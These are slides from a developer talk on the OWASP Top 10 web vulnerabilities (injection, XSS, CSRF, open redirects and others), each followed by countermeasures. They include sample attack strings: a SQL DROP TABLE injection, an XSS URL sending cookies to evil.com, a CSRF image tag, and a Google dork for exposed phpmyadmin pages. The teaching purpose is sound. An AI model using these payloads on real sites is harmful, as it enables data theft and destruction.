The Top 10 Security Vulnerabilities in

Web Applications

Brian “Bex” Huff

Chief Software Architect

1
Agenda

 Intro

 Open Web Application Security Project (OWASP)

 Top 10 Security Vulnerabilities

 Countermeasures

2
Intro

 What is OWASP?
• http://owasp.org
• Worldwide non-profit focused on improving software security
• Reaches out to ALL developers: not just security professionals

 Who am I?
• Oracle ACE Director
• Author of 2 books on Oracle Technology
• Twitter: @bex -- used to be @OWASP
• Here to help all developers

 What will you learn?

• The top 10 security mistakes that developers make
• How to design software with an assurance of security
3
OWASP Top Ten

 Injection
 Cross Site Scripting
3) Broken Authentication and Session Management
 Insecure Direct Object References
 Cross Site Request Forgery (CSRF)
 Security Misconfiguration
 Insecure Cryptographic Storage
8) Failure to Restrict URL Access
 Insufficient Transport Layer Protection
 Unvalidated Redirects and Forwards

4
1) Injection

 Used when your app sends user-supplied data to other apps

• Database, Operating System, LDAP, Web Services
 Hackers "inject" their code to run instead of yours
• To access unauthorized data, or completely take over remote application

 Example: SQL injection attackString query = "SELECT * FROM products

WHERE name='" + request.getParameter("id") +"'";
• Code expects a nice parameter in the URL
 http://example.com/products?id=123
• Hacker could instead supply this:http://example.com/products?id=';
+DROP+TABLE+'products';
 ';+DROP+TABLE+'products';
• ';+DROP+TABLE+'products';

5
Example

Don’t: name your child

Robert’); DROP TABLE Students;--
Do: expect SQL Injection

6
Countermeasures

 "Connections" between systems are highly vulnerable

 Always assume data coming in could be "evil"

• be sure to include "evil" use cases and user stories in your design

 Ideally, only allow the user to select among "safe" options

• no generic text allowed

 If user-input text is needed, use parameterized queries

• clean up quotes, parenthesis, and SQL comments

 Use a battle-tested library for protecting your database

• Java PreparedStatement, OWASP's ESAPI codecs
7
2) Cross Site Scripting

 Sites must "cleanse" user input before displaying it

 Hackers can create URLs to inject their own HTML onto the page
• can be used to do almost any kind of attack!!!

 Example: JSP to draw HTML based on user input

• String html = "<input name='item' type='TEXT' value='" +
request.getParameter("item") + "'>";
 Code expects a nice URL:
• http://example.com/buy?item=123
 But a hacker could supply this:
• http://example.com/buy?item='><script>document.location='
http://evil.com/steal/'+document.cookie</script>

 Then, try to trick somebody to go to that URL 8

Countermeasures

 Never, ever, ever trust user-submitted content!

• URLs, comments threads, web forms

 Properly "escape" any data before displaying it on web pages

• JavaScript parameters, URL parameters, STYLE elements
• Remove script tags, and possibly anything with a SRC attribute
• Use ESAPI to "cleanse" your HTML

 Do not allow state-change from HTTP GET requests

• Otherwise, an IMG tag could cause you to lose all your data

 Set the HttpOnly flag in your response headers

• Prevents document.cookie from working in JavaScript

9
3) Broken Authentication and Session Management

 HTTP is a "stateless" protocol

• Nice and simple: HTTP request, HTTP response
• All data must be passed in the request every time

 How do we store state?

• Client side with cookies
• Server side with sessions

 Most apps place a "sessionId" in cookies, or in the URL

• Problem: now stealing sessionIds is just as good as stealing passwords!

 Multiple ways to determine a session ID

• packet sniffing -- especially on an open WiFi access point
• HttpReferrer logs, if sessionId is in the URL
10
Countermeasures

 Assume that a user stole a session ID

• Determine how bad this would be in your application

 Use SSL everywhere!

• Makes it harder for people to “sniff” your session ID

 If you cannot use SSL everywhere, use it for logins

• Have a cryptographically strong session ID

 Good sessionIds should be very difficult to re-use

• Embed user IP address, user name, timestamp, and a secret
• Forces an attacker to spoof IP addresses to take over
• Prompt for re-login if IP changes during a session

11
4) Insecure Direct Object References

 Assume my project id is 123

 I see a link on “My Projects” page that goes here:

• http://example.com/projects/123

 If I alter the URL, can I see other people’s projects?

• http://example.com/projects/124

 Do you only restrict access in the web form?

 What if I could "guess" the URL? Could I see the page?

• Don't trick yourself into thinking complex URLs are any more secure
• Security != Obscurity
12
Countermeasures

 Every resource needs a security level

• What roles do you need to access certain items?
• Access Control Lists are easy to implement, but don’t always scale

 All access to that resource should go through the same check

• What action are you taking, with what resource?
• Put it all in one common codebase for simplicity
• May need to run check multiple times, for sub-actions and sub-resources
• Unusual behavior? Have additional authentication questions/layers!

 Front-end restriction is nice for usability, but not security

 Back-end application must double-check access rights

13
5) Cross Site Request Forgery (CSRF)

 Evil sites can hijack your browser, and run secure request:
• User logs into secure application behind the firewall
http://example.com/myApp
• User goes to "evil" website, or loads up "evil" HTML email
• HTML contains this image:
<img src="http://example.com/myApp/deleteEverything"></img>

 With JavaScript and XSS, evil sites can completely take over your
browser
• Can browse around your intranet, log into bank accounts
• Anything you are currently logged into
• Complete control, as long as you stay on the evil site

 Unfortunate side-effect of Single-Sign-On

14
Countermeasures

 All state change should require a unique token in the request

 But if its in the URL, it's vulnerable!
• URLs are frequently logged, and can be "sniffed"
• avoid reusable tokens
 General solution:
• All state change requires HTTP POST, not a GET
• Put one-time token in a hidden field on the web form
• After POST, do a GET redirect to a confirmation page
 What kind of token?
• Single-request tokens: safest, but a pain
• Session-based tokens hashed with session ID and action
 Require multiple-level authentication
• If an action looks fishy, re-prompt user for login
15
6) Security Misconfiguration

 Most web applications depend on some kind of framework

• Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries
• JARs and JARs and JARs of fun...

 What if your framework issued a security patch?

• Do you have a centralized policy for keeping dependencies up-to-date?
• How long would it take you to discover new code?
• How long would it take to recompile/test/redeploy?
 Do you know all security configurations in the framework?
• Odds are no... documentation is usually obtuse
• “Being helpful is a security hole”
 Have you properly "hardened" your framework?
• Delete default users, disable unused services and ports

16
Countermeasures

 Subscribe to newsletters and blog feeds to get patches

• Install the patches as quickly as possible
 Do periodic scans to detect misconfiguration / missing patches
 Disable features that are "nice" for developers, but "nasty" for security
 Use automation to ensure patches are up-to-date
• If you can't verify it, it's not secure
• Can you prove glass is bulletproof without firing bullets at it?

 Taking over websites shouldn't be this easy:

• http://www.google.com/search?
q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin

17
7) Insecure Cryptographic Storage

 All applications store sensitive data

• Credit cards, passwords, secure documents

 How much "sensitive" data is in your log files?

• In general, or for exotic errors?

 How are you preventing unauthorized access to these resources?

 If somebody stole your backup tapes, how bad would it be?

18
Countermeasures

 If you store secrets, encrypt them!

• Use only battle-tested standard encryption algorithms
 Analyze possible threats: inside attack, external user
• Make sure encryption policy is appropriate for the threats
 Encrypt data anywhere it's stored long term
• Especially backups!
• Store backups of decryption keys separately from data
 Restrict access to decrypted data to only authorized users
 Hash all passwords with a standard algorithm, and a "salt"
 Use strong keys to access the information
 Create a password management policy, and stick with it!

19
8) Failure to Restrict URL Access

 Similar to #4: Insecure Direct Object Reference

• Need to block specific actions, even if no resource is identified
 Example: my project is 123
 I will see these URLs on my home page:
• http://example.com/project/123
• http://example.com/user/getProjects/
 I could fish around and try other URLs as well:
• http://example.com/manager/getProjects/
• http://example.com/admin/getProjects/
 Would your application prevent this?
 Same general issue:
• you have front-end security, but not back-end security

20
Countermeasures

 Do authentication checks at least twice

• Front end UI, and back end Controller
 Don't draw URLs to the page if the user cannot access them
• Bad usability
• Hackers might be tempted to fish around for vulnerabilities
 Never assume a URL is allowed
• Do back-end checks for access, and state change
 Add even more layers as needed:
• Does all security information exist in the URL?
• Can you authenticate right away?
• Might you need to get half way through the request before you know what rights
are needed?
• What if the user has access, but their behavior is unusual
• should you prompt for password again, or perhaps for additional authorization?
21
9) Insufficient Transport Layer Protection

 How is sensitive information sent from the user to your server?

• When they log in, or view sensitive data?

 How do you send that information to other systems?

• JDBC call, Web Services, JMS, emails

 It is shockingly easy to eavesdrop on web traffic

• Probably no surprise to this crowd ;-)

 Wireless access points make it even easier

• Need password encryption at the WEP/WAP layer

22
Countermeasures

 Use strong, standards compliant network security protocols

 Use TLS (SSL) on all connections with sensitive data
 Encrypt messages before transmission
• XML-Encryption
 Sign messages before transmission
• XML-Signature
 Disable old, flawed encryption algorithms (ie, SSL 2.0)
 If HTTPS is impractical, at the very least secure the login process

23
10) Unvalidated Redirects and Forwards

 Most sites allow redirects to other sites, or pages within the site:
• http://example.com/redirect?url=google.com

 But, open redirect pages can be used by "phishers" to create links to

their site:
• http://example.com/redirect?url=evil.com

 Link looks like it goes to "example.com", but it goes to "evil.com"

 Or, can trick a site user into harming their own site:
• http://example.com/redirect?url=/admin.jsp?deleteEverything=true

 Sometimes called "phishing holes"

24
Countermeasures

 Restrict redirects to a limited number of "trusted" sites

 Keep a list of all redirect URLs, and pass the ID in the request,
instead of the URL
• http://example.com/redirect?urlId=123

 Hash the URL with a secret, and pass the hash in the URL
• http://example.com/redirect?url=google.com&hash=a1b2c3

 Question: are URL shorteners inherently unsafe?

• TinyUrl offers a "preview" feature: others should as well

 Question: does this URL look like a Google Invoice to you?

• http://www.google.com/#invoiceId=123&q=qb_hqexKkw8&btnI=3564 25
Further Recommendations

 Read the entire OWASP Top 10

• http://owasp.org/index.php/Top_10_2010-Main

 Read through the ESAPI documentation, and use it!

• http://www.owasp.org/index.php/ESAPI

 Quiz your developers about what security is needed and why

 Audit to find threats with biggest business impact

 Reminder: security is everybody's responsibility!

26
Questions?

 My Company: http://bezzotech.com

 My Blog: http://bexhuff.com

 My Tweets: @bex

 My Self: bex@bezzotech.com

27